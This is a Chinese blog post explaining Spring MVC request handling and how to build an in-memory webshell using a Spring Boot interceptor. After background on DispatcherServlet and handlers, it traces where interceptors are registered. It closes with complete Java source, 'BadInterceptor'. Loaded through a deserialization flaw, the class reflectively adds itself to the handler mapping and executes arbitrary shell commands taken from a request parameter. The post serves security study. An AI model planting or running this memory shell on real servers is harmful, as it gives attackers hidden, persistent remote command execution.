SpringBoot-Interceptor内存马
1diot9 Lv3

前置知识

这里主要讲一下SpringBoot里的各种组件和它们的作用与关系。
首先需要知道什么是SpringMVC。MVC就是Model-View-Controller。SpringBoot中内置了SpringMVC,并帮助你把一些繁琐的配置做好了(不需要写web.xml),使程序员只需要关注业务代码。
SpringMVC里有几个重要的部分,分别是DispatcherServlet,HandlerAdapter,Handler。下面简单介绍一下。
先看一张图,建立基本认识:image.png

下面的内容是我问AI的,还挺清楚,大家有什么不懂的也可以直接问AI。

首先是HandlerAdapter和Handler:
在 Spring MVC 中,HandlerAdapter 和 Handler 是两个非常重要的概念,它们在请求处理过程中扮演着不同的角色。为了更好地理解它们的区别和作用,我们先分别解释一下这两个概念,然后再对比它们的不同之处。

Handler&HandlerAdapter


Handler(处理器)

  • 定义:Handler 是一个接口,表示能够处理 HTTP 请求的对象。它通常是控制器(Controller)的一个实例,负责处理特定的 URL 请求。
  • 功能:Handler 的主要职责是根据传入的请求参数执行相应的业务逻辑,并返回一个 ModelAndView 或其他类型的响应结果。
  • 实现方式:
  • 在 Spring MVC 中,最常见的是使用注解驱动的控制器(如 @Controller 或 @RestController),这些控制器类就是 Handler 的具体实现。
  • 除了注解驱动的方式,Spring MVC 还支持基于接口的控制器(如 Controller 接口),但这种方式已经较少使用。
    示例:
    @Controller
    public class MyController { @GetMapping(“/hello”)
    public String hello(Model model) {
    model.addAttribute(“message”, “Hello, World!”);
    return “hello”; // 返回视图名称
    }

}

在这个例子中,MyController 就是一个 Handler,它处理 /hello 路径的 GET 请求。


HandlerAdapter(处理器适配器)

  • 定义:HandlerAdapter 是一个接口,它的作用是将不同类型的 Handler 统一为一种标准的处理方式。它负责调用具体的 Handler 并处理请求。
  • 功能:HandlerAdapter 的主要职责是将请求交给合适的 Handler 处理,并将处理结果转换为 ModelAndView 或其他响应形式。它充当了框架与具体处理器之间的桥梁。
  • 实现方式:
  • Spring MVC 内置了多种 HandlerAdapter 实现,用于处理不同类型的 Handler。例如:
  • RequestMappingHandlerAdapter:用于处理基于注解的控制器(如 @Controller、@RestController)。
  • SimpleControllerHandlerAdapter:用于处理实现了 Controller 接口的传统控制器。
  • HttpRequestHandlerAdapter:用于处理实现了 HttpRequestHandler 接口的处理器。
    示例:
    @RequestMappingHandlerAdapter adapter = new RequestMappingHandlerAdapter();
    adapter.handle(request, response, handler);

在这个例子中,RequestMappingHandlerAdapter 是一个 HandlerAdapter,它负责调用注解驱动的控制器来处理请求。


Handler 和 HandlerAdapter 的区别

  • 特性Handler(处理器)HandlerAdapter(处理器适配器)角色具体的请求处理者调用并适配不同的 Handler职责执行业务逻辑,处理请求将请求分发给合适的 Handler类型可以是注解驱动的控制器、命令对象等是一个适配器,负责统一处理流程数量可以有多个 Handler通常只有一个或少数几个 HandlerAdapter调用关系Handler 由 HandlerAdapter 调用HandlerAdapter 由 DispatcherServlet 调用

工作流程

  • 在 Spring MVC 中,请求的处理流程如下:
    1.请求到达:用户发起 HTTP 请求,请求被发送到 DispatcherServlet。
    2.查找 Handler:DispatcherServlet 使用 HandlerMapping 来查找匹配的 Handler。
    3.调用 HandlerAdapter:找到合适的 Handler 后,DispatcherServlet 会使用 HandlerAdapter 来调用该 Handler。
    4.处理请求:HandlerAdapter 调用具体的 Handler,执行业务逻辑。
    5.返回结果:Handler 处理完请求后,返回一个 ModelAndView 或其他类型的响应结果。
    6.渲染视图:DispatcherServlet 根据返回的结果选择合适的视图进行渲染,并将响应返回给客户端。

总结

  • Handler 是实际处理请求的对象,通常是控制器类,负责执行业务逻辑。
  • HandlerAdapter 是一个适配器,它负责将请求分发给合适的 Handler,并确保所有类型的 Handler 都能以统一的方式被调用。
    简单来说,HandlerAdapter 是一个中间层,它使得 Spring MVC 可以灵活地支持多种类型的 Handler,而不需要改变核心的请求处理流程。
  • DispatcherServlet
    然后是DispatcherServlet:
    DispatcherServlet 是 Spring MVC 框架中的核心组件,它是整个 Web 请求处理流程的前端控制器(Front Controller)。所有的 HTTP 请求都会通过 DispatcherServlet 进行分发和处理。它负责协调 Spring MVC 的各个组件,完成从请求到响应的整个生命周期管理。

DispatcherServlet 的作用

DispatcherServlet 的作用

  • 统一入口:DispatcherServlet 是 Spring MVC 的前端控制器,所有的 HTTP 请求都会被转发到这里。
  • 请求分发:根据请求的 URL 和配置,DispatcherServlet 负责将请求分发给合适的处理器(Handler)。
  • 组件协作:DispatcherServlet 协调了 Spring MVC 中的多个组件(如 HandlerMapping、HandlerAdapter、ViewResolver 等),确保请求能够被正确处理并返回响应。

DispatcherServlet 的工作流程

  • 当一个 HTTP 请求到达时,DispatcherServlet 的主要工作流程如下:
    1.接收请求:
  • 用户发起 HTTP 请求,请求被发送到 DispatcherServlet。
    2.查找 Handler
  • DispatcherServlet 使用 HandlerMapping 来查找能够处理该请求的 Handler(处理器)。
  • HandlerMapping 根据请求的 URL、HTTP 方法等信息,匹配到对应的 Handler。
    3.调用 HandlerAdapter
  • 找到合适的 Handler 后,DispatcherServlet 使用 HandlerAdapter 来调用该 Handler。
  • HandlerAdapter 是一个适配器,负责调用不同类型的 Handler 并统一返回结果。
    4.执行业务逻辑
  • Handler(通常是控制器类)执行具体的业务逻辑,并返回一个 ModelAndView 对象,其中包含模型数据和视图名称。
    5.解析视图
  • DispatcherServlet 使用 ViewResolver 将视图名称解析为具体的视图对象(如 JSP、Thymeleaf 等)。
    6.渲染视图
  • 视图对象根据模型数据进行渲染,生成最终的 HTML 页面或其他形式的响应内容。
    7.返回响应
  • 渲染完成后,DispatcherServlet 将响应内容返回给客户端。

DispatcherServlet 的初始化

  • 在应用程序启动时,DispatcherServlet 会被初始化。它的初始化过程包括以下几个步骤:
    1.加载 WebApplicationContext:
  • DispatcherServlet 会创建并加载一个独立的 Web 应用上下文(WebApplicationContext),用于存储与 Web 相关的 Bean。
    2.注册组件
  • 初始化过程中,DispatcherServlet 会注册一系列关键组件,例如:
  • HandlerMapping:用于匹配请求和处理器。
  • HandlerAdapter:用于调用处理器。
  • ViewResolver:用于解析视图名称。
  • 其他组件(如异常处理器、拦截器等)。
    3.准备就绪
  • 初始化完成后,DispatcherServlet 准备好接收和处理 HTTP 请求。

DispatcherServlet 的配置

在传统的 Spring MVC 项目中,DispatcherServlet 通常通过 web.xml 配置文件进行声明。例如:

1
2
3
4
5
6
7
8
9
10
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

在 Spring Boot 中,DispatcherServlet 的配置被自动简化,开发者不需要手动编写 web.xml 文件。Spring Boot 会自动配置 DispatcherServlet 并将其映射到 / 路径。

DispatcherServlet 的重要性

  • 单一入口:DispatcherServlet 是整个 Spring MVC 请求处理流程的起点,所有的请求都必须经过它。
  • 解耦设计:通过 DispatcherServlet,Spring MVC 实现了请求处理的解耦设计,使得框架可以灵活扩展。
  • 可扩展性:开发者可以通过自定义 HandlerMapping、HandlerAdapter 或 ViewResolver 等组件,来实现特定的需求。

总结

DispatcherServlet 是 Spring MVC 的核心组件,作为前端控制器,它负责接收请求、分发请求、协调组件以及返回响应。它的存在使得 Spring MVC 的请求处理流程清晰且高效,同时提供了高度的灵活性和可扩展性。

流程分析

这里我们做分析的目的,主要是为了知道哪里添加了Interceptor,调用了Interceptor的preHandle方法。

image.png如上图,直接在DispatcherServlet#doDispatch断点。箭头所指处, 就是开头那张图片的第一步,请求查询Handler,我们跟进。image.png

继续跟进上图中的getHandler。image.png

来到了AbstractHandlerMapping,我们继续跟进getHandlerExecutionChain。image.png

这里就是add Interceptor的地方了。这下我们的目标其实也明确了。通过反射拿到AbstractHandlerMapping的adaptedInterceptor属性,向这个属性里添加我们的interceptor。那么怎么拿到当前代码环境下的,也就是当前上下文里的AbstractHandlerMapping呢?通过获取WebApplicationContext可以做到。image.png

如上图,回到doDispatch,这里的mappedHandler就是一开始图片里的HandlerExectionChain。这里面包括两个interceptors和处理这个http请求需要用到的controller方法。image.png

如上图,第一个箭头拿HandlerAdapter,第二个调用Interceptor中的preHandle方法,第三个就是调用controller中的对应方法。这里不讲了,可以自己跟进看一下。

下面这段可以作为反序列化sink的字节码动态加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package interceptor;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

//作为反序列化sink动态加载的字节码
public class BadInterceptor extends HandlerInterceptorAdapter {
public BadInterceptor() {
try {
//获得context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
BadInterceptor aaa = new BadInterceptor("aaa");
adaptedInterceptors.add(aaa);
}catch (Exception e){}
}
public BadInterceptor(String aaaa){}


@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("bad");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}


}
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 22.8k 访客数 访问量